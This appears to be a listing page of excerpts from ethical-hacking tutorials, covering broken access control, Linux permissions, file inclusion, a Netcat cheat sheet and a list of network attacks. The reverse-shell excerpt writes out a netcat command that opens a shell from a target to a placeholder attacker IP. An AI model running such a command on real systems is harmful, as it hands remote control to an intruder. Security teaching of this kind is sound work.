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Broken Access Control(BAC)

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Introduction This vulnerability type involves a lot of logic and in it's most basic form it might not as you can see in the screenshot above but then again that situation almost never happens in real

Reverse Shell Methods

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Using Netcat Netcat Simple Shell: On the attacker's machine: nc -lvp 4444 On the target machine: nc <attacker_IP> 4444 -e /bin/bash Netcat with mkfifo: On the attacker's machine: nc -lvp 4444
In today's rapidly evolving digital landscape, the role of ethical hackers has become more critical than ever. As cyber threats continue to grow in complexity and frequency, ethical hackers are

Linux File Permissions

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In Linux, each file and directory has an associated set of permissions and ownership attributes that determine who can access and manipulate the files and directories. These permissions are defined
These ports represent common entry points and services used across the internet. The vulnerabilities associated with these ports can stem from outdated software, poor configurations, weak passwords,

File Inclusion

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Introduction Define LFI and RFI: LFI (Local File Inclusion): A vulnerability that allows attackers to include files from the local server. RFI (Remote File Inclusion): A vulnerability that allows

Netcat Cheat Sheet

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1. Listening Mode: nc -l -p <port> Start Netcat in listening mode on a specific port. This mode waits for incoming connections. Connect Mode: nc <host> <port> Connect to a specific
Vulnerability Scanning Packet Sniffing Man-in-the-Middle Attacks (MitM) DNS Spoofing ARP Spoofing SSL/TLS Hijacking Session Hijacking IP Spoofing MAC Address Spoofing SMTP Relay Exploits Firewall